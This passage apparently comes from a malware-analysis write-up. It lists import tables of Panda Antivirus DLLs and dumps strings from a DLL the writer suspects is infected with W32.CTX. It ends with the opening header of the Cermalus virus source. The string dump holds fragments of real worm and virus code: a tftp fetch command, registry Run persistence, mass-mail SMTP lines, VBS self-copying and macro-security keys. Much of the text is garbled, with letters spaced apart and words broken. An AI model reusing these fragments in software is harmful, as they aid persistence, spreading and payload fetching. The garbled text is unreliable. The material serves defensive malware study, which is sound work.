e x t r n PSKPACK. 6 5
e x t r n PSKPACK. 6 7
e x t r n PSKPACK. 6 0
e x t r n PSKPACK. 5 4
e x t r n PSKPACK. 7 7
e x t r n PSKPACK. 7 6
e x t r n PSKPACK. 4 8
e x t r n PSKPACK. 4 7
e x t r n PSKPACK. 5 0
e x t r n PSKPACK. 2 4
e x t r n PSKPACK. 8
e x t r n PSKPACK. 1 8
e x t r n PSKPACK. 3 3
e x t r n PSKPACK. 2 5
e x t r n PSKPACK. 3 4
e x t r n PSKPACK. 2 9
e x t r n PSKPACK. 3 1
e x t r n PSKPACK. 1 5
e x t r n PSKPACK. 2 8
e x t r n PSKPACK. 2 7
e x t r n PSKPACK. 1 6
e x t r n PSKPACK. 2 3
e x t r n PSKPACK. 2 2
e x t r n PSKPACK. 3 0
116
extrn PSKPACK. 2 1
extrn PSKPACK. 2 0
extrn PSKPACK. 1 4
extrn PSKPACK. 2 6
extrn PSKPACK. 3 5
extrn PSKPACK. 1 7
;
; Impor ts from PSKCMP. d l l
;
e x t r n PSKCMP. 5
e x t r n PSKCMP. 4 2
e x t r n PSKCMP. 1 0
e x t r n PSKCMP. 1 3
e x t r n PSKCMP. 1 7
e x t r n PSKCMP. 1 1
e x t r n PSKCMP. 1 2
e x t r n PSKCMP. 4 8
e x t r n PSKCMP. 4 1
e x t r n PSKCMP. 3 9
;
; Impor ts from PSKVFILE . d l l
;
e x t r n PSKVFILE . 4 8
e x t r n PSKVFILE . 4 9
e x t r n PSKVFILE . 5 0
e x t r n PSKVFILE . 4 7
e x t r n PSKVFILE . 5 2
e x t r n PSKVFILE . 5 1
e x t r n PSKVFILE . 4 5
e x t r n PSKVFILE . 5 6
e x t r n PSKVFILE . 3 0
e x t r n PSKVFILE . 5 5
e x t r n PSKVFILE . 4 2
e x t r n PSKVFILE . 4 3
e x t r n PSKVFILE . 4 6
e x t r n PSKVFILE . 7
e x t r n PSKVFILE . 6
e x t r n PSKVFILE . 8
e x t r n PSKVFILE . 3 5
e x t r n PSKVFILE . 3 6
e x t r n PSKVFILE . 3 7
e x t r n PSKVFILE . 1 1
e x t r n PSKVFILE . 2 6
e x t r n PSKVFILE . 3 2
e x t r n PSKVFILE . 4 4
e x t r n PSKVFILE . 1 6
e x t r n PSKVFILE . 2
e x t r n PSKVFILE . 1 4
e x t r n PSKVFILE . 2 5
e x t r n PSKVFILE . 3
e x t r n PSKVFILE . 1 3
e x t r n PSKVFILE . 2 4
e x t r n PSKVFILE . 1
e x t r n PSKVFILE . 1 2
117
extrn PSKVFILE . 1 0
extrn PSKVFILE . 4
extrn PSKVFILE . 1 9
extrn PSKVFILE . 3 8
extrn PSKVFILE . 9
extrn PSKVFILE . 4 0
extrn PSKVFILE . 5
extrn PSKVFILE . 3 3
;
; Impor ts from P s k v f s . d l l
;
e x t r n VFSRemoveROIfBlocked
e x t r n VFSDelete
extrn VFSInitializeVirtualFileSystem
extrn VFSFreeVirtualFileSystem
e x t r n VFSOpen
e x t r n VFSClose
e x t r n VFSGetInfoInt
e x t r n VFSSeek
e x t r n VFSRead
;
; Impor ts from MSVCR71 . d l l
;
extrn stricmp
e x t r n memicmp
e x t r n memccpy
extrn strnicmp
extrn strupr
extrn onexit
extrn dllonexit
extrn CppXcptFilter
extrn a d j u s t f d i v
extrn malloc
extrn initterm
extrn f r e e
extrn getenv
extrn strtok
extrn s t r t o u l
e x t r n mbsinc
e x t r n mbsrchr
extrn except handler3
extrn s p l i t p a t h
e x t r n strncmp
e x t r n memcpy
e x t r n memmove
e x t r n memchr
extrn strncpy
extrn s t r s t r
extrn s t r l e n
extrn strcpy
e x t r n strcmp
extrn strchr
extrn s t r c a t
e x t r n memset
118
e x t r n memcmp
extrn s p r i n t f
;
; Impor ts from KERNEL32 . d l l
;
extrn InterlockedDecrement
e x t r n LoadLibraryExA
e x t r n GetProcAddress
extrn FreeLibrary
extrn LeaveCriticalSection
extrn WriteFile
extrn SetFilePointer
extrn ReadFile
extrn TlsAlloc
e x t r n GetVersionExA
e x t r n GetDriveTypeA
e x t r n GetVolumeInformationA
extrn DeviceIoControl
e x t r n C l o s e H a nd le
extrn CreateFileA
e x t r n GetWindowsDirectoryA
extrn InterlockedIncrement
e x t r n LoadLibraryA
extrn Sleep
extrn TlsFree
extrn TlsSetValue
e x t r n TlsGetValue
e x t r n SetErrorMode
extrn GetLastError
e x t r n GetDiskFreeSpaceA
e x t r n FileTimeToSystemTime
e x t r n GetModuleFileNameA
extrn I n i t i a l i z e C r i t i c a l S e c t i o n
extrn D e l e t e C r i t i c a l S e c t i o n
extrn EnterCriticalSection
;
; Impor ts from USER32 . d l l
;
extrn wsprintfA
;
;−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
119
Zombie; the name of another member of the same group)
I cannot be sure since I don’t speak spanish, but they are probably error
messages for a spanish version of windows. The second line is perpahs the most
international one, meaning something like: ”Error loading operating system”.
The others are probably similar; a friend of a friend (who does speak spanish)
says he couldn’t understand it, but claims they are probably technical terms.
Tecla means keyboard (or a key?).
(strings prone to be picked up the automatic features of PE Explorer have
been left out)
************************************************
************************************************
| S t r i n g dump o f p s k a v s . d l l
| S u s p e c t e d i n f e c t e d with W32 .CTX / W32 . C h o l e r a
| a v a s t ! a n t i v i r u s d e t e c t s i t a s Win32 :CTX
|
| found i n a d l l b e l o n g i n g t o Panda A n t i v i r u s
|
| w r i t e u p by : L ar s Haukli , 1 1 . 0 5 . 0 7
************************************************
from
sub : L255A74D8
@adr : 55A74D8
MBRPANDA V. 1
Tabla de p a r t i c i n i n v l i d a
Error a l cargar e l sistema operativo
S e c t o r de a r r a n q u e i n v l i d o
E s t e d i s q u e t e no t i e n e a r r a n q u e
C m b i e l o por o t r o y p u l s e una t e c l a
Win32 . F a i t h l e s s
( Stand . p ! smo ) o d s t .
Absatz−S t a n d a r d s c h r
Fuente de p i r r a f o p Kappaleen o l e t u s f o n
P o l l i c e par d ( e ) f a u l t ( t h e e i s a mathematical n e g a t e s i g n )
Bekezd ( e ) s alap −b e t ( d ) t ( t h e d i s a d e l t a )
C a r a t t e r e p r e d e f i n i S t a n d a a r d a l l i n e a −l e t
S t a n d a r d s k r i f t f o r Domy? l n a c z c i o n k a a ( . . random ? )
P r i v z e t a p i s a v a ods
D e f a u l t Paragraph F
Fonte p a r i g .
padruo
120
presque
E I J t u v w ?
( l o a d s o f randoms h e r e ( . . . i presume ) )
i f r a m e Execute
docuement w r i t e
v b s c i p t ON ERROR
v b s c r i p t ON ERRPOR Z ( . . randoms )
kern ’ 1 3 2 . d
tls
i f r a m e s r c=
cid :
JUN
n o t e . com
F r a g g l e Rock
I n s t a l l infPK
REGEDIT4
V e r s i o n \Run ]
r e g echo rem>>c : \ a u t o e x e c . bat
echo r e g e d i t
vbs c : \ windows \ s t a r t m ˜1\ programs \ s t a r t u p
f i l e . WriteLine ( ” r r = cows . RegRea
t r o j a n . Copy ( tmp & ”\ a l −g o r e . vbs
3 2 . vbs ”) Copy ( d i r w i n &”\DLL . vbs ”)
c i n i k . go \n ”) ;
puta ! ! . exe
[ LoRez ] v1 by Vi r o ge n [ NJ
UP3CX?D$( g r e e k l e t t e r ) 3 ( c e n t ) d ( e l e c t r i c c a p a c i t o r symbol )
Run\ Gotovje
SuSE , 1 . 3 . 1 2
CC: (GNU) 2 . 9 6 2
−g c o n v 0 i n f o : T( 1 7
. com/ F r i e n d Cards . msi
msnWin . moveTo ( 1 0 0 0 , 1 0 0 0 ) ;
c l s i d : F3A614DC−ABE0−11d2
3 2 . vbs ”)
=c r e a t e o j e c t ( ” s c r i p
. c o p y f i l e ws
SAPVIRII
. exe
Are you l o o k i n g f o r Love . doc . exe
How To Hack W ebsite s . exe
Panda Titanium Crack . z i p . exe
Mafia T r a i n e r ! ! ! . exe
kernel66 . d l l
Tmpljdnje = ”” . . . Temlp
a : \ \ WININI
121
This i s my r e v e n g e [ Nemesi 1 . 0 1 ]
TechnoK
UPX2
UPX!
movi00dc
VMM
VB98\ P r o y e c t o s \ V i r u s \
s t a r t %s t f t p −i %s GET %s m s b l a s t p e n i s 3 2
[JETHRO]
drivers \ etc \ hosts
( localhost : 127.0.0.1)
Ok R e s u l t \ MZ
bad . exe
(HELO l o c a l h o s t )
(MAIL FROM: )
RCPT TO:
( s c r i p t l a n g u a g e=vbs )
( s h e l l . run )
Worm. P2P . S y t r o . d
(WIN32 . TIRTHAS)
. Tirthas
(212.5.86.163)
( S o c k e t problems )
( S o f t w a r e \ M i c r o s o f t \Windows\ C u r r e n t v e r s i o n \Run)
( RegisterServiceProcess )
(MAIL FROM:<%s >)
ave cab pdf r a r z i p t i f psd ocx vxd mp3 mpg a v i d l l exe g i f j p g bmp
windows
\MyTmpFile . Dat
%S\% MZ? ( i s u s p e c t t h e MZ f o r b e i n g t h e PE marker )
WebAuto . exe
Star
(%s . exe )
122
ShowHTMLDialog MSHTML
COM RPC B u f f e r Overflow E x p l o i t
swap . t x t
mystring
r e c t i o n by Tcp/29A
DUPATOR! [ s r i p t ] i f $me dcc send worm X5O ! P%@AP[ 4 . . EICAR−STAND
worm
STAND RD
ANTIVIRUS TEST−FILE ! $H+H*
Execute ( ”
on e r r o r resume ne xt . bat
s r c 3 . run . s c r i p t f u l l n a m e , 1 ) . r e a d a l l ( (
h t t p : / / s ennaspy . e c t i o n by Tcp/29
norton i c e black
kaze /FAT
I n f e c t i o n . n a t a s h a P?C
SYST ck In Rio 2001 V
Goat v i r u s f i l e . j n k t r a p
www. u s s r b a c k . co
RAVE.EXE
Software Microsoft Internet Acc :\ Software \ Microsoft \ Interne t
Account Manager \ Accounts \00000001 ’ , 0
SOFTWARE\ C l a s s e s z e x e f i l e s \ s h e l l \ upx
EHLO AUTH FROM DATA ( f i r s t word i s not a typo )
FindFirstFileA
Coded by Weird
Pack32 d e c o m p r e s s i
WATCOM C/C++ 32 Run−Time
Back O r i f i c e TCP
C: \ NetSkudo . exe
123
255A643C : ’ msvcrtd . d l l ’ , 0
255 A6448 : ’ msvcrt . d l l ’ , 0
255 A6454 : ’ pavcl32 . d l l ’ ,0
255 A6460 : ’ FreeLibrary ’ ,0
255A646C : ’ GetProcAddress ’ , 0
255A647C : ’ LoadLibraryExA ’ , 0
255A648C : ’ LoadLibraryA ’ , 0
255A649C : ’ s p r i n t f ’ ,0
255A64A4 : ’ strncpy ’ ,0
255A64AC : ’ strupr ’ ,0
255A64B4 : ’ s t r s t r ’ ,0
255A64BC : ’ s t r l e n ’ ,0
255A64C4 : ’ stricmp ’ ,0
255A64CC : ’ strcpy ’ ,0
255A64D4 : ’ strcmp ’ , 0
255A64DC : ’ s t r c h r ’ ,0
255A64E4 : ’ s t r c a t ’ ,0
255A64EC : ’ memset ’ , 0
255A64F4 : ’ memicmp ’ , 0
255A64FC : ’memcmp ’ , 0
255 A6504 : ’ memchr ’ , 0
255A650C : ’memmove ’ , 0
255 A6514 : ’ memcpy ’ , 0
255A651C : ’ memccpy ’ , 0
255 A6738 : ’ . text ’ ,0
255 A6740 : ’ . r e l o c ’ ,0
255 A6748 : ’ SRP ’ , 0
255A731C : ’NUCL MACRO2 ’ , 0
255A732C : ’ Autoexec ’ , 0
255 A7338 : ’Name ’ , 0
255 A7340 : ’ Module ’ , 0
255 A7348 : ’ Type ’ , 0
255 A7350 : ’ PPoint . PaV ’ , 0
255A735C : ’ .DOC ’ , 0
255 A7364 : ’MIME ’ , 0
255 A7394 : ’ {\ * \ htmltag ’ , 0
255A73A0 : ’ <!DOCTYPE HTML ’ , 0
255A73B0 : ’ . SYS ’ , 0
255A73B8 : ’ .COM’ , 0
255A73C0 : ’NUCL TBLHASH ’ , 0
255A73D0 : ’NUCL TBLGRP ’ , 0
255A73EC : ’ exeid ’ ,0
255A73F8 : ’PSK COOKIE ’ , 0
255 A7404 : ’PSK PLUGINS ’ , 0
255 A7410 : ’PSK CRCNO ’ , 0
255A741C : ’PSK CRCPE ’ , 0
255 A7428 : ’PSK CRC2KD ’ , 0
255 A7434 : ’PSK CRC2K ’ , 0
255 A7440 : ’PSK APVIR ’ , 0
255A744C : ’ %02d/%02d/%d %02d:%02d ’ , 0
255A768C : ’rEMHOr ’ , 0
255A76A0 : ’ 3.00 ’ ,0
255A76A8 : ’URIV ’ , 0
255A76BC : ’COMMAND.COM’ , 0
124
255A76C8 : ’ dim WindowsDir , WindowsSystemDir , WindowsRecentDir ’ , 0
255A76FC : ’ dim f s o , W i n d o w s S c r i p t S h e l l ’ , 0
255 A7718 : ’ Photomontage ’ , 0
255 A7728 : ’ Photoalbum ’ , 0
255 A7734 : ’ Mary−Anne ’ , 0
255 A7740 : ’ kleopatra ’ ,0
255A774C : ’ Bad g i r l ’ , 0
255 A7758 : ’ c a r o l i n e ’ ,0
255 A7764 : ’ Gallery ’ ,0
255A776C : ’ myfotos ’ , 0
255 A7774 : ’ Picture ’ ,0
255A777C : ’ rebecca ’ ,0
255 A7784 : ’ Katrina ’ ,0
255A778C : ’ Kelley ’ ,0
255 A7794 : ’ Jammie ’ , 0
255A779C : ’ C a i t i e ’ ,0
255A77A4 : ’Tammy ’ , 0
255A77AC : ’ stacy ’ ,0
255A77B4 : ’ Audra ’ , 0
255A77BC : ’ Barbi ’ , 0
255A77C4 : ’ Mandy ’ , 0
255A77CC : ’ Aline ’ ,0
255A77D4 : ’ J u l i e ’ ,0
255A77DC : ’ Rena ’ , 0
255A77E4 : ’ Anna ’ , 0
255A77EC : ’ kate ’ ,0
255A77F4 : ’ Sara ’ , 0
255A77FC : ’ Mary ’ , 0
255 A7804 : ’ J u l i ’ ,0
255A780C : ’ I t I ’ ,0
255 A7814 : ’ Lisa ’ ,0
255 A7830 : ’ .BAT ’ , 0
255 A7838 : ’ . debug ’ , 0
255 A7844 : ’ . data ’ , 0
255A784C : ’ . s c r ’ ,0
255 A7854 : ’ . exe ’ , 0
255A785C : ’ . kuto ’ , 0
255 A7864 : ’ . OpenTextFile ’ , 0
255 A7874 : ’ S t r i n g . fromCharCode ’ , 0
255 A7888 : ’ Math . random ’ , 0
255 A7894 : ’ function ’ ,0
255A78A0 : ’ Mylene ’ , 0
255A78B0 : ’ |SYSTEM ’ , 0
255A78C0 : ’RR( ”USER32 ” , ”EnumWindows ” , ”SU” ’ , 0
255A78E0 : ’ . r s r c ’ ,0
255A78E8 : ’ . ZIPHER ’ , 0
255A78F4 : ’ . Data ’ , 0
255A78FC : ’ , r e l o c ’ ,0
255 A7904 : ’ . Adson ’ , 0
255A790C : ’ . vdata ’ , 0
255 A7914 : ’ . ByteSV ’ , 0
255 A7920 : ’ . text ’ ,0
255 A7928 : ’ . fuck ’ ,0
255 A7930 : ’MIX1 ’ , 0
125
255 A7938 : ’ 2 . 0 1 ’ , 0
255 A7940 : ’ Tai−Pan ’ , 0
255 A7948 : ’ I f L o c a t i o n . P r o t o c o l = A( ”ghmd ; ”) Then ’ , 0
255 A7970 : ’ AHKGetHeuristicResult ’ , 0
255 A7988 : ’ AHKEmulationEnd ’ , 0
255 A7998 : ’ AHKNewApiCall ’ , 0
255A79A8 : ’AHKNewEvent ’ , 0
255A79B4 : ’ AHKComponentUnpackError ’ , 0
255A79CC : ’AHKComponent ’ , 0
255A79DC : ’ AHKGetSubsystemInfo ’ , 0
255A79F0 : ’ AHKGetAnalysisInfo ’ , 0
255A7A04 : ’ AHKEndHeuristicPEAnalysis ’ , 0
255A7A20 : ’ A H K I n i t H e u r i s t i c P E A n a l y s i s ’ , 0
255A7A3C : ’ AHKEndHeuristicPESubSystem ’ , 0
255A7A58 : ’ AHKInitHeuristicPESubSystem ’ , 0
255A7ABC: ’PSK EXPRESSH ’ , 0
255A7AD0 : ’PAVSIG P ’ , 0
255A7ADC: ’PAVSIG ’ , 0
255A7AE8 : ’AVS PS MTX ’ , 0
255A7AF4 : ’AVS DIS MTX ’ , 0
255A7B00 : ’AVS ACT MTX ’ , 0
255A7B2C : ’PSK GOODWARE ’ , 0
255A7B4C : ’%s%s ’ , 0
255A7B68 : ’%s%s%s ’ , 0
255A7B80 : ’PSK NAMES2 ’ , 0
255A7B8C : ’PSK NAMES ’ , 0
255A7B98 : ’PSK VDL ’ , 0
255A7BAC: ’ SCSFreeSmartCleanSystem ’ , 0
255A7BC4 : ’ S C S I n i t i a l i z e S m a r t C l e a n S y s t e m ’ , 0
255A7BE4 : ’ S C S S e t C o n f i g I n t ’ , 0
255A7BF4 : ’ S C S S e t C o n f i g S t r i n g ’ , 0
255A7C08 : ’ SCSDetectMalwareTrace ’ , 0
255A7C40 : ’PAV EXCLUDE RAM ’ , 0
255A7C5C : ’ \\.\% s%sAPVXDUT.VXD ’ , 0
255A7C70 : ’ Port32 AbsWrite@16 ’ , 0
255A7C84 : ’ Port32 AbsRead@16 ’ , 0
255A7C98 : ’ P o r t 3 2 E s c r i b i r P i s t a U n i d a d L o g i c a @ 2 4 ’ , 0
255A7CC0 : ’ P o r t 3 2 L e e r P i s t a U n i d a d L o g i c a @ 2 4 ’ , 0
255A7CE4 : ’ P o r t 3 2 B i o s D i s k @ 2 8 ’ , 0
255A7D14 : ’ \ \ . \PHYSICALDRIVE%d ’ , 0
255A7D28 : ’ \\.\% c : ’ , 0
255AB8B0 : ’ O bj e ct ’ , 0
255AB8BC: ’ITEM ’ , 0
255AB8C4 : ’ a t t a c h v e r s i o n 1 . 0 #’ , 0
255ABA0C: ’ G l o b a l ’ , 0
255ABA20 : ’ o%k{ESC} ’ , 0
255ABA54 : ’E 0100 4D 5A ’ , 0
255ABA64 : ’ With ThisDocument . VBProject . VBComponents ( 1 ) . CodeModule ’ , 0
255ABA9C:
’HKEY CURRENT USER\ S o f t w a r e \ M i c r o s o f t \ O f f i c e \ 9 . 0 \ Word\ S e c u r i t y ’ , 0
255ABAE0:
’HKEY LOCAL MACHINE\ S o f t w a r e \ M i c r o s o f t \Windows\ C u r r e n t V e r s i o n \Run ’ , 0
255ABB30 : ’ G l o b a l ’ , 0
255ABB40 :
126
’HKEY CURRENT USER\ S o f t w a r e \ M i c r o s o f t \ O f f i c e \ 9 . 0 \ Word\ S e c u r i t y ’ , 0
255ABB80 :
’HKEY LOCAL MACHINE\ S o f t w a r e \ M i c r o s o f t \Windows\ C u r r e n t V e r s i o n \Run ’ , 0
255ABBC4: ’ With ThisDocument . VBProject . VBComponents ( 1 ) . CodeModule ’ , 0
255ABC18 : ’ S c r i p t l e t T y p e L i b ’ , 0
255ABC30 : ’ {\ r t f 1 \ a n s i \mac\ d e f f 0 \ d e f t a b 7 2 0 {\ f o n t t b l ; } { \ f 0 \ f n i l \ froman
\ f s w i s s \ fmodern \ f s c r i p t \ f d e c o r MS Sans S e r i f S y m b o l A r i a l T i m e s New
RomanCourier {\ c o l o r t b l \ r e d 0 \ g r e e n 0 \ b l u e 0 ’ , 0Dh, 0 Ah , ’ \ par
\ pard \ p l a i n \ f 0 \ f s 2 0 \b\ i \u\ tab \ tx ’ , 0
255ABD00 : ’ urn : schemas−m i c r o s o f t −com : o f f i c e ’ , 0
255ABDF0 : ’<?xml v e r s i o n = ”1 . 0 ” ’ , 0
255ABE08 : ’<?mso−a p p l i c a t i o n p r o g i d =”Word . Document”?> ’ , 0
255ABE34 : ’ m a c r o s P r e s e n t =”y e s ” ’ , 0
255ABE48 : ’ e d i t d a t a . mso”> ’ , 0
255AC484 : ’< s c r i p t l a n g u a g e= ’ , 0
255AC498 : ’ Vandelay . Path ’ , 0
255AC4A8 : ’</ s c r i p t > ’ , 0
255AC4B4 : ’ | . . @( (@−−[ I ’ , 0
255AC4C0 : ’ Function MConnect (MS, MM) ’ , 0
255AC4DC: ’ I s D e l = F a l s e ’ , 0
255AC4EC : ’ End Function ’ , 0
255AC4FC : ’Rem I am s o r r y ! happy time ’ , 0
255AC518 : ’ #007 f 7 f ’ , 0
255AC520 : ’> Help < ’ , 0
255AC52C : ’<i f r a m e ’ , 0
255AC544 : ’< s c r i p t l a n g u a g e=v b s c r i p t > ’ , 0
255AC570 : ’< s c r i p t l a n ’ , 0
255AC5F8 : ’ e v e l 1 c a l l c : \ chk001 . bat V%[Xorc]% ’ , 0
255AC82C : ’<HTML> ’ , 0
255AC844 : ’</i f r a m e > ’ , 0
255AC89C : ’ qazwsx . hsq ’ , 0
255AC8B8 : ’ IP P r o t e c t o r ’ , 0
255AC9C8 : ’ ”=”c : \ r e c y c l e d \ ’ , 0
255AC9D8 : ’ ”=”&Chr (34)& ”c : \ r e c y c l e d \ ’ , 0
255ACA48 : ’& ”\ Party ” & f l d r C t r & ”\ Party ” & i & ” . vbs ” ) ’ , 0
255ACA98 : ’ ; Party . . . . . by : SiR DySTyK ’ , 0
255ACAD4: ’ , tmp , t r o j a n , d r i v e , ’ , 0
255ACAE8: ’ . DisplayName = ”Al Gore . j p g ”Copy ( d i r s y s t e m&”\ ’ , 0
255ACB3C: ’ zamfy . home . r o /0/ c i n i k . c ’ , 0
255ACB7C: ’www. o p a s o f t . com ’ , 0
255ACB8C: ’www. n3t . com . br . ’ , 0
255ACB9C: ’ puta ! ! . exe ’ , 0
255ACBA8: ’ s c r u p d . exe ’ , 0
255ACBB4: ’ ScrLog ’ , 0
255ACC1C: ’ #32770 ’ , 0
255ACC58 : ’ Paskuda 1 ’ , 0
255ACD74 : ’ . . nymph ’ , 0Dh, 0 Ah , ’USERHOST r o a c h ’ , 0
255ACE1C : ’ po ly n=”\”& polyname ( I n t ( ’ , 0
255ACE44 : ’ Mylinong=”Mylinong ” ’ , 0
255ACE58 : ’ d i r s y s t e m&”\ mylinong .TXT. vbs ” ’ , 0
255ACE78 : ’ i f ( r r >=1) ’ ,0
255ACE90 : ’<emmanuel > ’ ,0
255ACE9C : ’</SCRIPT> ’ ,0
255ACEA8: ’ VBSv777 ’ , 0
127
255ACEB0 : ’ c b V i r u s S i z e = 3 9 1 4 ’ , 0
255ACEC4 : ’ cbVictimCode , ’ , 0
255ACED4: ’ cbFSO . G e t S p e c i a l F o l d e r ( ’ , 0
255ACFEC: ’ Copy ( d i r s y s t e m&”\ ’ , 0
255AD008 : ’ Copy ( d i r w i n&” \ ’ , 0
255AD018 : ’DLL . vbs ”) ’ , 0
255AD024 : ’ = Cr ’ , 0
255AD04C : ’ \ m a i l e d ” ) ’ , 0
255AD058 : ’ \ mirqued ”) ’ , 0
255AD14C : ’ . data ’ , 0
255AD18C : 27h , ’ DoS ’ , 2 7 h , 0
255AD194 : ’W0RMSAP’ , 0
255AD19C : ’ LSVIXF01 : ’ , 0
255AD1A8 : 27h , ’CADABRA’ , 2 7 h , 0
255AD1B4 : ’ vandEEd0 ’ , 0
255AD1C8 : ’ i n t e l i h e n t e ’ , 0
255AD1D4 : ’ i n t r o d u c i o n ’ , 0
255AD208 : ’HITCHER ’ , 0
255AD2E0 : ’ . data ’ , 0
255AD354 : ’ i l y 6 6 8 . d l l ’ , 0
255AD360 : ’ Task688 . d l l ’ , 0
255AD36C : ’ r e g 6 7 8 . d l l ’ , 0
255AD384 : ’ winrpc . exe ’ , 0
255AD3B0 : ’ c : \ \ ’ , 0
255AD428 : ’ 1 . 2 4 ’ , 0
255AD468 : ’ . as pack ’ , 0
255AD768 : ’ LISThG ’ , 0
255AD834 : ’ C r i t i c a l Update ’ , 0
255AD870 : ’ kIlLeRgUaTe ’ , 0
255AD88C : ’ on p o r t 57005 ’ , 0
255ADA38 : ’ 1 2 7 . 0 . 0 . 1 l o c a l h o s t ’ , 0Dh, 0 Ah, 0
255ADAA4: ’HELO l o c a l h o s t ’ , 0
255ADAB4: ’MAIL FROM: ’ , 0
255ADAD4: ’< s c r i p t l a n g u a g e=vbs> ’ , 0
255ADB44 : ’ s h e l l . run ( ’ , 0
255ADC04 : ’ : s a v e ’ , 0
255ADC24 : ’WIN32 . TIRTHAS ’ , 0
255ADD34 : ’ 2 1 2 . 5 . 8 6 . 1 6 3 ’ , 0
255ADD44 : ’ S o c k e t problems ’ , 0
255ADD54 : ’ S o f t w a r e \ M i c r o s o f t \Windows\ C u r r e n t V e r s i o n \Run ’ , 0
255ADD84 : ’ R e g i s t e r S e r v i c e P r o c e s s ’ , 0
255ADD9C: ’MAIL FROM:<%s> ’ , 0
255ADDF8: ’ Windows ’ , 0
255ADE08 : ’ \MyTmpFile . Dat ’ , 0
255ADE2C: ’ n\Run ’ , 0
255ADE4C: ’%s . exe ’ , 0
255ADF2C: ’ ( myString , i , 1 ) ’ , 0
255ADF6C: ’ . as pack ’ , 0
255ADFF4 : ’ ! ! ! ’ , 0
255AE088 : ’ $ n i c k ’ , 0
255AE09C : ’ v i r u s ’ , 0
255AE0A4 : ’ t r o j a n ’ , 0
255AE0F4 : ’X5O ! P%@AP[ 4 \ PZX54 (Pˆ ) 7 ’ , 0
255AE120 : ’= Chr ( Asc ( ’ , 0
128
255AE144 : ’ window ’ , 0
255AE14C : ’ Wscript . s h e l l ’ , 0
255AE180 : ’ randomize : f o r ’ , 0
255AE190 : ’ chr (97 + int (26 ’ ,0
255AE20C : ’ v i r u s ’ ,0
255AE26C : ’ vypnout . s h s ’ , 0
255AE2B0 : ’ k aze /FAT ’ , 0
255AE2DC: ’VR. WIN32 .CALM v1 . 1 ’ , 0
255AE560 : ’ . NaZAnN ’ , 0
255AE568 : ’ . NathaN ’ , 0
255AE594 : ’By whg 2 0 0 0 1 . 6 . 2 0 ’ , 0
255AE620 : ’ gmon . out ’ , 0
255AE644 : ’ . stab ’ ,0
255AE6B4 : ’ win9X .LDE. Examplo ’ , 0
255AE6C8 : ’ . Z0MBiE ’ , 0
255AE6E0 : ’ PR0Mi$E$/ZLA$H ’ , 0
255AE758 : ’ v i r . exe ’ , 0 0 0 0 h
255AE80C : ’ Crystal ’ ,0
255AE814 : ’ c v i r u s ’ ,0
255AE8E0 : ’ Created By ’ , 0
255AE958 : ’ Tcp/29A ’ , 0
255AE978 : ’ . r e l o c ’ ,0
255 B16F0 : ’ demiurg ’ , 0
255 B1708 : ’ . exe ’ , 0
255 B1710 : ’ wsock . d l l ’ , 0
255B171C : ’ ole32 . d l l ’ ,0
255 B1728 : ’ shlwapi . d l l ’ ,0
255 B1734 : ’ wininet . d l l ’ ,0
255 B1740 : ’ i p h l p a p i . d l l ’ ,0
255 B1750 : ’ FreeLibrary ’ ,0
255B175C : ’ LoadLibraryA ’ , 0
255B176C : ’ 1 5 1 . 2 0 1 . 0 . 3 9 ’ ,0
255B177C : ’ @hotmail . com ’ , 0
255B178C : ’@msn . com ’ , 0
255 B1798 : ’ @microsoft ’ ,0
255B17A4 : ’ @avp . ’ , 0
255B17AC : ’SOFTWARE\ ’ , 0
255B17B8 : ’UPDATER.EXE ’ , 0
255B17C4 : ’UPGRADE.EXE ’ , 0
255B17D0 : ’ . php ’ , 0
255B17D8 : ’ h t t p : // www . ’ ,0
255B19B0 : ’ s−i t s : mhtml : f i l e : / / ’ , 0
255B19E8 : ’ LoadResource ’ , 0
255 B19F8 : ’ WinExec ’ , 0
255B1A40 : ’ 2CEP ’ , 0
255B1ACC: ’ WScript . S c r i p t F u l l N a m e ’ , 0
255B1AE4 : ’ GetNameSpace ( ”MAPI”) ’ , 0
255B1AFC : ’ C r e a t e T e x t F i l e ( ”C: \ mirc ’ , 0
255B1B14 : ’ [ Hidden Table ] ’ , 0
255B1B34 : ’ [ Hidden S e r v i c e s ] ’ , 0
255B1B58 : ’LEGACY HACKERDEFENDER ’ , 0
255B1BE4 : ’ . data ’ , 0
255B1BEC : ’ . idata ’ ,0
255B1C20 : ’MAIL FROM: ’ , 0
129
255B1C2C : ’ var u r l = ” ’ , 0
255B1C44 : ’ E x p l o r e r \\Main\\ S t a r t Page ” , u r l ) ; ’ , 0
255B1C68 : ’ E x p l o r e r \\Main\\ S e a r c h Bar ” , b u r l ) ; ’ , 0
255B1C8C : ’CEZAR.EXE ’ , 0
255B1D64 : ’ a=Array ( 7 7 , 9 0 , ’ , 0
255B1D78 : ’ 236 ,219 ,133 ,183 ,5 ,192 ,187 ,193 ,40 ,136 ,248 ,40 ,
4 ,57 ,143 ,47 ,216 ,183 ,23 ,220 ,217 ,106 ,2 ,185 ,143 ,
242 ,112 ,249 ,60 ,7 ,112 ,108 ,196 ,22 ,218 ,185 ,
251 ,5 ,220 ’ ,0
255B1E04 : ’ 0 . 1 ruw ’ , 0
255B1E0C : ’ . 0 . 1 maxxxhosters . com ’ , 0Dh, 0 Ah , ’ 127 ’ , 0
255B1E28 : ’ . data ’ , 0
255B1E40 : ’Max@80 . 6 8 . 3 . 2 3 5 ’ , 0
255B1EDC : ’ @hotmail ’ , 0
255 B8230 : ’ r e c t i o n by Tcp/29A ’ , 0
255B831C : ’CACHASAMIX ’ , 0 0 0 0 h
255 B8388 : ’C++HOOK’ , 0
255 B8390 : ’ Borland C++’ , 0
255B83A4 : ’ \ S o f t w a r e \ M i c r o s o f t \ I n t e r n e t Account Manager \
Accounts \00000001 ’ , 0
255 B8448 : ’ SmtpMsg ’ , 0
255 B9274 : ’ hd ”@ ’ , 0
255 B9534 : ’hPM@ ’ , 0
255 B9594 : ’ h l ”@ ’ , 0
255B9A8C : ’ h , j@ ’ , 0
255BA0C0 : ’ . ntext ’ ,0
130
G Cermalus
;
; WinXPSP2 . Cermalus by Pluf /7 A69ML
; Spain / Spring 2007
;
; greetz :
; 7 A69ML team : Nullsub , Dreg , Ripe and Sha0
; special thx to Slay , GriYo , and those people
; who help me and wish to remain anonymous ;)
;
I M A GE _ S U B SY S T E M _N A T I V E equ 01 h
I M A G E _ S U B S Y S T E M _ W I N D O W S _ G UI equ 02 h
I M A G E _ S U B S Y S T E M _ W I N D O W S _ C UI equ 03 h
I M A G E _ F I L E _ E X E C U T A B L E _ I M A GE equ 00002 h
